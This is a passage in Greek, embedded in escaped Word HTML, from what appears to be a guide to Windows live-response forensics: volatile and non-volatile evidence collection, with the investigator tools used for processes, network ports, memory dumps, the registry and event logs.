style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Συνδεδεμένοι χρήστες&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Πληροφορίες για κάθε &lt;span style="" lang="EN-US"&gt;process&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Δικτυακές συνδέσεις&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Κατάσταση δικτύου&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Τα περιεχόμενα του &lt;span style="" lang="EN-US"&gt;clipboard&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ιστορικό εντολών&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Δεδομένα φορτωμένα στη μνήμη απο διάφορες υπηρεσίες ή/και προγράματα που εκτελούνται&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Πληροφορίες υπηρεσιών και οδηγών&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Σε περίπτωση ενός &lt;span style="" lang="EN-US"&gt;incident&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;o&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;forensic&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;analyst&lt;/span&gt; ή ο &lt;span style="" lang="EN-US"&gt;investigator&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;πρέπει να φτιάξει ένα χρονοδιάγραμμα της δραστηριότητας του συστήματος.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Βασική προυπόθεση και πρώτο βήμα είναι να πάρει την τρέχουσα ημερομηνία και ώρα του συστήματος υπο έλεγχο. Στη συνέχεια πρέπει να παρθούν πολύ προσεχτικά απο κάθε ύποπτο αρχείο τα στοιχεία της ώρας γνωστα και σαν &lt;span style="" lang="EN-US"&gt;MAC&lt;/span&gt;. &lt;span style="" lang="EN-US"&gt;Times(Modified,Accessed,Created) in dos this can be achived via dir /t command &lt;/span&gt;και&lt;span style=""&gt; &lt;/span&gt;διαφορα&lt;span style=""&gt; &lt;/span&gt;αλλα&lt;span style=""&gt; &lt;/span&gt;διακοπτάκια&lt;span style="" lang="EN-US"&gt; (&lt;/span&gt;δηλαδή&lt;span style="" lang="EN-US"&gt; 3 &lt;/span&gt;φορές&lt;span style="" lang="EN-US"&gt; ) &lt;/span&gt;για&lt;span style=""&gt; &lt;/span&gt;κάθε&lt;span style=""&gt; &lt;/span&gt;αρχείο&lt;span style="" lang="EN-US"&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utility&lt;/span&gt; : &lt;span style="" lang="EN-US"&gt;MACTimes&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Σε περίπτωση ανάλυσης ενός συστήματος σε λειτουργία , ο διαχειριστής θέλει να μάθει ποίοι είναι συνδεδεμένοι στο σύστημα. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilities : psloggedon.exe, netusers.exe , net.exe session(windows native)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ενα σύστημα σε λειτουργία , βασίζεται σε λειτουργία τουλάχιστον κάποιων υπηρεσιων και κάποιων &lt;span style="" lang="EN-US"&gt;processes&lt;/span&gt;. Κάθε μια απο αυτές τις &lt;span style="" lang="EN-US"&gt;processes&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;έχει κάποια χαρακτηριστικα που σχετίζονται με αυτήν και είναι σημαντικά για τον &lt;span style="" lang="EN-US"&gt;forensics&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;investigator&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για κάθε &lt;span style="" lang="EN-US"&gt;process&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;μπορούμε να ανακαλύψουμε τα παρακάτω:&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ποιο εκτελέσιμο αρχείο είναι&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Παράμετροι που χρησιμοποιήθηκαν για την αρχικοποίηση του&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Πόση ώρα εκτελείται &lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Σε τι(καν αν)&lt;span style="" lang="EN-US"&gt;security&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;context&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ασφαλείας τρέχει&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Τι &lt;span style="" lang="EN-US"&gt;modules&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή ποίες βιβλιοθήκες έχει χρησιμοποιήσει &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Έτσι μπορεί ο αναλυτής του συστήματος να αντιληφθεί αν και ποιο απο τα εκτελέσιμα είναι &lt;span style="" lang="EN-US"&gt;valid&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή όχι.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilties&lt;/span&gt;: &lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;pslist&lt;/span&gt;.&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/b&gt;, &lt;span style="" lang="EN-US"&gt;pulist&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, &lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;listdll&lt;/span&gt;.&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, &lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;handle&lt;/span&gt;.&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/b&gt;, &lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;tlist&lt;/span&gt;.&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/i&gt;(&lt;span style="" lang="EN-US"&gt;MS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Debugging&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Tools&lt;/span&gt;),&lt;span style="" lang="EN-US"&gt;ps&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;,&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;cmdline&lt;/span&gt;.&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Μόλις βρεθεί κάποια &lt;span style="" lang="EN-US"&gt;process&lt;/span&gt; που φαίνεται ύποπτη, ο αναλυτής μπορεί να μαζέψει παραπάνω πληροφορίες για την &lt;span style="" lang="EN-US"&gt;process&lt;/span&gt;, πριν την τερματίσει. Η μνήμη που χρησιμοποιήται απο την συγκεκριμένη &lt;span style="" lang="EN-US"&gt;process&lt;/span&gt; μπορεί να περιέχει πληροφορίες χρήσιμες για τον αναλυτή,όπως κωδικοί , διευθύνσεις &lt;span style="" lang="EN-US"&gt;IP&lt;/span&gt;, άλλες απομακρυσμένες συνδέσεεις κτλ.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utility&lt;/span&gt;: &lt;span style="" lang="EN-US"&gt;pmdump&lt;/span&gt; .&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;(για να αναλυθεί αργότερα το &lt;span style="" lang="EN-US"&gt;dump&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;file&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;με &lt;span style="" lang="EN-US"&gt;strings&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή με ένα &lt;span style="" lang="EN-US"&gt;hex&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;editor&lt;/span&gt;), &lt;span style="" lang="EN-US"&gt;dd&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για πληροφορίες σχετικά με το &lt;span style="" lang="EN-US"&gt;configuration&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;των &lt;span style="" lang="EN-US"&gt;network&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;interfaces&lt;/span&gt; χρησιμοποιούμε το προγραμμα &lt;span style="" lang="EN-US"&gt;ipconfig&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;(&lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;native&lt;/span&gt;) ή το &lt;span style="" lang="EN-US"&gt;iplist&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για τον έλεγχο αν κάποιο &lt;span style="" lang="EN-US"&gt;network&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;interface&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;στο ύποπτο μηχάνημα τρέχει σε &lt;span style="" lang="EN-US"&gt;promiscuous&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;mode&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;υπάρχει το &lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;promiscdetect&lt;/span&gt;.&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για διαφορα στατιστικα προτοκόλλων , διευθύνσεις και δικτυακές συνδέσεις υπάρχει η εντολή “&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;netstat&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;–&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;an&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;“ &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επόμενο σημαντικό βήμα είναι η αντνιστοίχηση των ανοιχτών &lt;span style="" lang="EN-US"&gt;ports&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;με τις εφαρμογές που τα άνοιξαν. Να σημειώσουμε οτι πριν τα “&lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;XP&lt;/span&gt;” δεν υπήρχε αυτή η δυνατότητα &lt;span style="" lang="EN-US"&gt;natively&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;στα &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilities : netstat –ano , openports.exe, fport.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για πληροφορίες σχετικά με συνδέσεις &lt;span style="" lang="EN-US"&gt;netbios&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;υπάρχει το &lt;span style="" lang="EN-US"&gt;nbtstat&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επίσιης πολλές πληροφορίες μπορούν να συλλεχθούν με την εντολή ΝΕΤ και τις διάφορες παραμέτρους της όπως &lt;span style="" lang="EN-US"&gt;share&lt;/span&gt; ,&lt;span style="" lang="EN-US"&gt;session&lt;/span&gt;,&lt;span style="" lang="EN-US"&gt;file&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Σαν ελάχιστο οαναλυτής θα πρέπει να εκτελέσει τα παρακάτω προγραμματάκια :&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Iplist.exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Promiscdetect.exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Openports.exe (2 &lt;/span&gt;φορές&lt;span style=""&gt; &lt;/span&gt;με&lt;span style=""&gt; &lt;span lang="EN-US"&gt;–fport kai –netstat switches)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Nbtstat.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για τα περιεχόμενα του &lt;span style="" lang="EN-US"&gt;clipboard&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;υπάρχουν τα &lt;span style="" lang="EN-US"&gt;unxutils&lt;/span&gt; , για ιστορικό εντολών κονσόλας ,&lt;span style="" lang="EN-US"&gt;doskey&lt;/span&gt; /&lt;span style="" lang="EN-US"&gt;h&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Volatile&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;πληροφορίες μπορούν να συλλεχθούν και απο τις τρέχουσες υπηρεσίες. Για παράδειγμα αν μια υπηρεσία ξεκίνησε χειροκίνητα.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilities&lt;/span&gt; : &lt;span style="" lang="EN-US"&gt;drivers&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, &lt;span style="" lang="EN-US"&gt;sc&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, &lt;span style="" lang="EN-US"&gt;driverquery&lt;/span&gt;,&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;To&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;συγκεκριμένο &lt;span style="" lang="EN-US"&gt;Group&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;policy&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;object&lt;/span&gt; (&lt;span style="" lang="EN-US"&gt;GPO&lt;/span&gt;) είναι επίσης χρήσιμο καθώς μπορεί να έχει στοιχεία για το πώς ήταν &lt;span style="" lang="EN-US"&gt;configured&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ένα σύστημα ή ακόμα και πως προσπεράστηκε η ασφαλειά του.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilities&lt;/span&gt; : &lt;span style="" lang="EN-US"&gt;GPList&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, &lt;span style="" lang="EN-US"&gt;GPResult&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Τέλος μια υπηρεσία των &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;είναι η &lt;span style="" lang="EN-US"&gt;protected&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;storage&lt;/span&gt; για ευαίσθητα δεδομένα (πολύ κλειστό απο την &lt;span style="" lang="EN-US"&gt;Microsoft&lt;/span&gt;)&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Utilities: pstoreview.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Linux equivalent tools : &lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="EN-US"&gt;netstat, lsof, rpc.statd, mount ,df ,md5sum,dd ,history&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraph" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;2.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;!--[endif]--&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Non Volatile Data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Συλλογή &lt;span style="" lang="EN-US"&gt;Non&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Volatile&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Data&lt;/span&gt; ,για αναζήτηση αρχείων μέσα σε μια συγκεκριμένη ημερομηνία χρησιμοποιούμε το &lt;span style="" lang="EN-US"&gt;macmatch&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ανάκτηση δικαιωμάτων σε αρχεία με την εντολή &lt;span style="" lang="EN-US"&gt;cacls&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Για τον υπολογισμό &lt;span style="" lang="EN-US"&gt;md&lt;/span&gt;5 &lt;span style="" lang="EN-US"&gt;hash&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;για όλα τα αρχεία &lt;span style="" lang="EN-US"&gt;md&lt;/span&gt;5&lt;span style="" lang="EN-US"&gt;deep&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Binary information gathering showbinarymfr.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Αναλυση των περιεχομένων &lt;span style="" lang="EN-US"&gt;t&lt;/span&gt;ου &lt;span style="" lang="EN-US"&gt;recycle&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;bin&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;με το &lt;span style="" lang="EN-US"&gt;rifiuti&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Command line registry search, reg.exe . &lt;/span&gt;Ιδιαίτερα σημαντικά είναι το κλειδί &lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;lastwrite&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Eventlog dump&lt;b style=""&gt;, auditpol.exe, dumpel.exe,&lt;span style=""&gt;  &lt;/span&gt;eventCombMT.exe, psloglist.exe&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Tools for analyzing files, strings.exe, bintext, hexeditor,depends.exe,ftde&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Incident&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Response&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Μέχρι τώρα αναλύσαμε τα εργαλεία που θα χρειαζόμασταν για την αντιμετώπιση ενός περιστατικού. Τώρα θα αναλύσουμε πως θα ταχρησιμοποιήσουμε και πώς θα καταγράφουμε (&lt;span style="" lang="EN-US"&gt;document&lt;/span&gt;)την κάθε μας κίνηση προκειμένου να μπορούμε αργότερα να απαντήσουμε σε σχετική ερώτηση με λεπτομέρεια εαν 